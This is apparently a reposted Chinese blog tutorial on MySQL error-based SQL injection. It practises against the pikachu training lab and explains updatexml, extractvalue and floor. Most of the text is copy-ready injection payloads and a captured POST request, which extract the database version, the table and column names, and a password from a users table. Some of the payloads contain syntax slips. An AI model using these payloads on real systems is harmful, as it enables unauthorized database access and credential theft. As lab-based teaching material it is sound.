当前位置: 首页 > article >正文

SQL注入漏洞之错误类型注入 爆破表 字段 列名称 以及mysql版本 以及Limit使用方式解释 以及靶场相关联系

目录

Msql函数常用函数

基本变量函数

报错注入

报错注入什么时候用?

报错注入函数

报错注入语句-这是重点

报错性注入实战

案例1

爆数据库中的表

案例2 表名称

案例3 表字段

Limit用法解释:


Msql函数常用函数

  • 基于msql的基本变量可以学习常用函数是为了给报错注入

  • 提供前置条件因为我们再报错注入的时候需要探索数据库的相关类型

  • 比如说版本等一些 获取数据库名称 等一些

基本变量函数

  • Select @@version;

  • Mysql - 很多内置函数 提取sql注入点基于内置函数 以及 变量来拿到一些数据

  • User();

  • Version();

  • Databases();


报错注入

  • 报错注入是一种SQL注入类型,用于使SQL语句报错的语法,用于注入结果无回显但错误信息有输出的情况。
  • 返回的错误信息即是攻击者需要的信息。
  • 所以当我们没有回显位时可以考虑报错注入这种方法来进行渗透测试。
    • 当然这里会涉及到三种报错注入函数。
    • 这个后面会接着说


报错注入什么时候用?

  • 如果union被过滤,可以使用基于错误的注入攻击
    • 一般利用floor,updatexml, extractvalue函数
    • 还有exp和一些几何函数
      • 补充exp:
      • Error Based SQL Injection Using EXP | 🔐Blog of Osanda
      • 利用了"DOUBLE value is out of range"

  • 查询后台数据库是没有相关信息的显示

    • 这个时候我们就应该使用报错注入服务拿到报错信息没有处理返回给客户端

    • 从报错信息提炼出来一些信息

    • 从而我们继续进行sql注入操作


报错注入函数

  • 可以用于报错注入的函数有10几种 常用的只有10几种

  1. Updatexml() :函数是MYSQL对XML文档数据进行查询和修改的

  2. XPATH函数。

  3. extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数。

  4. floor() :MYSQL中用来取整的函数。


报错注入语句-这是重点

报错注入的语句记录下来就可以了;

Updatexml() 定位html标签的 xml数据 文档数据的 语法必须是/ 开头
select updatexml('<h1>hello</h1>','/hello',''x);
select updatexml('hello',(select user()),'x');  
select updatexml('hello',(select version()),'x');
----------------------------------------------------------------
select updatexml('hello',concat('>>',(select user()),'<<'),'x');
select updatexml(1,concat(0x7e,(select user()),0x7e),1);
select updatexml(1,concat(0x7e,(select database()),0x7e),1);
select updatexml(1,concat(0x7e,(select @@version()),0x7e),0);
select updatexml(1,concat(0x7e,(select database()),0);
  • 0x7e ~号 ASCII编码 也就是GBK编码

  • 错误报错语句:----------> 但是这样显示的不是很全的信息在借助另外一个函数Content

  • 这里备注一点:

  • 可以参考这篇文章也是比较全面的错误注入语句相关语句

    • 渗透测试 SQL注入 - Union 联合注入查询语句【较为全面】整理 亲测有效 报错注入语法 带出数据库相关数据【核心数据】以及union 相同数据列数方式方法 order by union-CSDN博客


报错性注入实战

案例1

'k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#
'k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) #
'k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.1.6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Origin: http://192.168.1.6
Connection: close
Referer: http://192.168.1.6/pikachu/vul/sqli/sqli_id.php
Cookie: PHPSESSID=f1n45l5rga2i4og596mmlfr315
Upgrade-Insecure-Requests: 1
Priority: u=0, i

id=123 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #&submit=%E6%9F%A5%E8%AF%A2


爆数据库中的表

  • Mysql5.0版本以上存在一张库 information_schema

    • 其中含有三张表

    • Schemata【存放的数据库名称】 tables【存放的表名称 数据库名称】 columns【列名 表名 数据库名称】

案例2 表名称

'k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#

但是反馈的错误表示只能显示一行 所以我们使用limit来显示 显示pikachu中的第一个表名称

'k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#

案例3 表字段

'k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='pikachu' limit 2,1)),0)#
但是反馈的错误表示只能显示一行 所以我们使用limit来显示 显示pikachu中的第一个表名称

Limit用法解释:

  • 其中m指的是m是记录开始的位置从0开始表示第一条记录 n是指取N条记录 比如说从0开始取出第一条数据。

  • 爆出表字段数据类容 找出第二个字段 拿到密码

k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

  • 报错注入利用:mysqli_error($con) 进行值得输出


http://www.kler.cn/a/525675.html

相关文章:

  • pytorch实现半监督学习
  • C语言连接Mysql
  • 快速分析LabVIEW主要特征进行判断
  • Deepseek技术浅析(一)
  • 区块链的数学基础:核心原理与应用解析
  • 【时时三省】(C语言基础)文件的随机读写
  • 「全网最细 + 实战源码案例」设计模式——桥接模式
  • 7.抽象工厂(Abstract Factory)
  • P1002 [NOIP2002 普及组] 过河卒
  • Leetcode 131 分割回文串(纯DFS)
  • EtherCAT主站IGH-- 23 -- IGH之fsm_slave.h/c文件解析
  • 在Ubuntu下编译VLC
  • 【AI非常道】二零二五年一月(二),AI非常道
  • 正态分布与柯西分布的线性组合与副本随机变量同分布
  • Spring Boot + Facade Pattern : 通过统一接口简化多模块业务
  • 【C语言】函数递归
  • 【LeetCode: 958. 二叉树的完全性检验 + bfs + 二叉树】
  • 【自学笔记】MySQL的重点知识点-持续更新
  • 《LLM大语言模型+RAG实战+Langchain+ChatGLM-4+Transformer》
  • 【C++动态规划 离散化】1626. 无矛盾的最佳球队|2027
  • 受击反馈HitReact、死亡效果Death Dissolve、Floating伤害值Text(末尾附 客户端RPC )
  • Git 版本控制:基础介绍与常用操作
  • 当代搜索引擎技术介绍性能优化
  • MySQL UNION 操作详解
  • 数据结构初阶之堆的介绍与堆的实现
  • 如何安装 CUDA Toolkits